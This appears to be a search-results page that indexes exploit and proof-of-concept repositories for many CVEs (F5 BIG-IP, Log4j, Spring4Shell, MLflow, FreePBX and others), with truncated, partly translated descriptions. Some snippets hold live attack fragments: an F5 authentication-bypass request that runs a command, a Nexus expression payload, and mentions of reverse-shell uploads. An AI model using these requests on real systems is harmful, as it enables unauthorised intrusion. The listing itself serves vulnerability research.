626894 matches found
CVE-2022-1388_PoC
F5 BIG-IP RCE 익스플로잇 CVE-2022-1388 POST 1: POST /mgmt/tm/util/bash HTTP/1.1 Host: :8443 Authorization: Basic YWRtaW46 Connection: keep-alive, X-F5-Auth-Token X-F5-Auth-Token: 0 "command": "run" , "utilCmdArgs": " -c 'id' " curl 명령줄: $ curl -i -s -k -X $'POST' \ -H $'Host: :8443' \ -H...
Moniker-Link-CVE-2024-21413
🛡️ Moniker Link CVE-2024-21413 방: Moniker Link CVE-2024-21413 — TryHackMe 상태: ✅ 완료 날짜: 2025년 5월 30일 🎯 목표 CVE-2024-21413을 이해하고 익스플로잇합니다. 이 취약점은 Microsoft Outlook에서 Moniker Link를 사용하여 보호된 보기를 우회하고 NTLM 자격 증명을 유출합니다. 공격을 수행하는 방법과 이를 탐지 또는 완화하는 방법을 학습합니다. 🗝️ 핵심 개념 Moniker Link — Windows에서 COM 모델을 사용하여...
CVE-2024-37054-PoC
설명 CVE-2024-37054에 대한 개념 증명PoC으로, MLflow 0.9.02.14.1 버전의 심각한 역직렬화 취약점입니다. 악성 pyfunc 모델이 mlflow.pyfunc.loadmodel을 통해 로드되면, pickle된 페이로드가 임의의 코드를 실행합니다. 파일 exploit.py — 전체 익스플로잇: 등록, 학습, 업로드, 트리거 HTB SmartHire 머신용 buildmodel.py — 악성 모델을 로컬에서 빌드 빌드 전용 사용법 모델을 로컬에서 빌드 python3 buildmodel.py --lhost...
CVE-2019-7238
CVE-2019-7238 Nexus Repository Manager RCE Nexus Repository Manager 3 인증 없이 원격 코드 실행 nexus 명령어 에코에 관하여: functionx, y, z, c, integer, defineClass c=1.class.forName'java.lang.Character'; integer=1.class;...
CVE-2014-6271-Apache-Debian
CVE-2014-6271-Apache-Debian 概要 このリポジトリはCVE-2014-6271のPoC環境です。 apache2コンテナイメージを使用して、脆弱性を含むWebサービスをデプロイできます。 準備 イメージのビルド Dockerfileから安全でないイメージをビルドします。 docker build -t cve-2014-6271-apache-debian:buster ./insecure-base-image/ docker build -t training-website-poc:v1.0 ./web-insecure/ PoCコンテナのデプロイ...
OMIGOD_cve-2021-38647
OMIGODcve-2021-38647 CVE-2021-38647 は、OMI エージェントに対する認証不要のリモートコード実行（RCE）脆弱性であり、root として実行されます。 ペイロードの実行中 HOST を変更する コマンド : Command here を実際のコマンド（例：id、whoami など）に置き換えてください。 クレジット https://github.com/horizon3ai/CVE-2021-38647 フォローする Vulnmachines YouTube Twitter Facebook LinkedIn...
CVE-2023-43208-mirth-connect-rce-poc
Mirth Connect의 RCE 취약점 CVE-2023-37679 및 CVE-2023-43208 이 익스플로잇 스크립트와 PoC는 vsociety의 심층 CVE 분석을 위해 작성되었습니다. CVE-2023-43208은 병원과 클리닉에서 환자 데이터를 공유하는 데 사용되는 도구인 NextGen Mirth Connect의 심각한 보안 버그입니다. 이 버그는 해커가 비밀번호 없이 시스템에 침입할 수 있게 합니다. Mirth Connect는 의료 분야에서 널리 사용되므로 환자 정보를 보호하기 위해 이 버그를 신속히 수정하는 것이...
cve-2020-0688
cve-2020-0688 사용법: usage: cve-2020-0688.py -h -s SERVER -u USER -p PASSWORD -c CMD optional arguments: -h, --help show this help message and exit -s SERVER, --server SERVER ECP Server URL Example: http://ip/owa -u USER, --user USER login account Example: domain\user -p PASSWORD, --password PASSWO...
CVE-2022-22965-Spring4Shell
Spring4Shell Spring4Shell CVE-2022-22965 취약한 Tomcat 서버와 취약한 spring4shell 애플리케이션을 포함한 개념 증명PoC. 이 취약점에 대한 세부 정보 https://websecured.io/blog/624411cf775ad17d72274d16/spring4shell-poc https://www.springcloud.io/post/2022-03/spring-0day-vulnerability...
log4j-shell-csw
Log4j 간단한 익스플로잇 CVE-2021-44228 취약점에 대한 개념 증명 익스플로잇입니다. 보안 및 성능 정보를 기록하는 데 사용되는 Log4j는 다양한 소비자 및 엔터프라이즈 서비스, 웹사이트 및 애플리케이션은 물론 의료 기기 및 지원 시스템에서 Java를 사용하는 30억 개 이상의 기기에 영향을 미칩니다. 참고: 이것은 '클릭 한 번'으로 동작하는 익스플로잇이 아닙니다. 초기 트리거 페이로드가 생성되지만, 이를 적절한 위치예: HTTP 헤더/채팅 등에 주입하는 것은 사용자의 몫입니다. 사전 요구 사항 python3...
CVE-2021-24499
CVE-2021-24499 Workreap 테마에서 인증되지 않은 업로드를 통한 원격 코드 실행으로 이어지는 CVE-2021-24499의 대규모 악용. AJAX 액션 workreapawardtempfileuploader와 workreaptempfileuploader는 nonce 검사를 수행하지 않았으며, 다른 방식으로 요청이 유효한 사용자로부터 온 것인지 검증하지 않았습니다. 엔드포인트는 uploads/workreap-temp 디렉토리에 임의의 파일을 업로드할 수 있도록 허용했습니다. 업로드된 파일은 살균되거나 검증되지 않아...
CVE-2026-5027
This post is a research article published by EQSTLab. Thanks toYahia Hamza, who reported and analyzed this vulnerability. CVE-2026-5027 ★ CVE-2026-5027 Langflow 경로 탐색 / 임의 파일 쓰기 PoC ★ Description CVE-2026-5027 : Langflow 임의 파일 쓰기 취약점 description: Langflow Reverse shell via cron job python3...
Issabel-PBX-4.0.0-RCE-Authenticated
Issabel PBX 4.0.0 원격 코드 실행 인증됨 - CVE-2024-0986 설명/요약 Issabel PBX 4.0.0은 로그인한 사용자가 asteriskcli 콘솔을 사용하여 xmldoc 및 dump 명령으로 파일을 생성할 수 있게 합니다. 이는 restore.php 파일을 악용하여 업로드된 파일의 이름에 기반한 원격 명령 실행을 가능하게 합니다. 이 PoC 스크립트는 이 PoC 비디오를 기반으로 합니다. 사용법 $ python3 IssabelPBXAuthenticatedRCE.py -u -p -t -c 예를 들어: ...
CVE-2021-26855
CVE-2021-26855-PoC CVE-2021-26855에 대한 PoC 익스플로잇 코드입니다. 원본 코드는 https://github.com/GreyOrder에서 개발되었습니다. 원본 저장소는 추가 기능사용자 열거 등이 추가된 직후 삭제되었습니다. 최신 버전이 있으시면 풀 리퀘스트를 보내주세요. CVE-2021-26855 SSRF - golang을 이용한 간단한 연습 영향받는 버전: Exchange Server 2013 CU23 미만, Exchange Server 2016 CU18 미만, Exchange Server 201...
CVE-2024-21546
CVE-2024-21546 Python 익스플로잇 🔥 설명 이 Python 익스플로잇 스크립트는 UniSharp 이 만든 취약한 Laravel Filemanager를 대상으로 하며, 인증된 사용자가 파일 제한을 우회하고 악성 파일을 업로드할 수 있게 합니다. 업로드된 페이로드가 트리거되면 원격 코드 실행RCE으로 이어질 수 있습니다. 이 익스플로잇은 다음을 수행합니다: 사용자가 제공한 laravelsession 검증 정규식을 통해 CSRF token 추출 PHP 리버스 셸 페이로드가 포함된 가짜 PNG 파일 업로드 업로드된 파...
Microsoft Windows Cloud Files Mini Filter Driver CldiStreamPrepareRequestForMoreProcessing Type Confusion vulnerability
Summary A type confusion vulnerability exists in the CldiStreamPrepareRequestForMoreProcessing functionality of Windows Cloud Files Mini Filter Driver versions: 10.0.26100.8457 WinBuild.160101.0800 and 10.0.26100.8655 WinBuild.160101.0800. A specially crafted sequence of Cloud Filter API calls ca...
Linux Distros Unpatched Vulnerability : CVE-2026-107821
The Linux/Unix host has one or more packages installed that are impacted by a vulnerability without a vendor supplied patch available. - MariaDB server is a community developed fork of MySQL server. From 10.6.1 until 10.6.28, 10.11.19, 11.4.13, 11.8.9, 12.3.3, and 13.0.2, MariaDB insufficiently...
FreePBX-CVE-2025-57819-CVE-2025-61678
FreePBX-CVE-2025-57819-CVE-2025-61678 CVE-2025-57819스택 쿼리 SQL 인젝션과 CVE-2025-61678FreePBX Endpoint Manager의 인증된 파일 업로드를 연쇄적으로 사용하여 원격 코드 실행RCE을 달성합니다. 교육 목적으로만 사용하십시오. 참조: https://www.picussecurity.com/resource/blog/critical-freepbx-vulnerabilities-cve-2025-66039-cve-2025-61675-cve-2025-61675...
CVE-2022-24638
EXPLOITDB에서 확인됨: https://www.exploit-db.com/exploits/51026 이 버전은 위음성False Negative을 방지하기 위해 수정되었습니다. CVE-2022-24637 Open Web Analytics OWA 1.7.4의 인증되지 않은 원격 코드 실행RCE 익스플로잇입니다. 이 작업은 https://devel0pment.de/?p=2494를 기반으로 합니다. 면책 조항: 이 스크립트는 시스템 보안을 감사하기 위해 제작되었습니다. 이 스크립트는 본인의 시스템이나 명시적 허가를 받은 시스템에...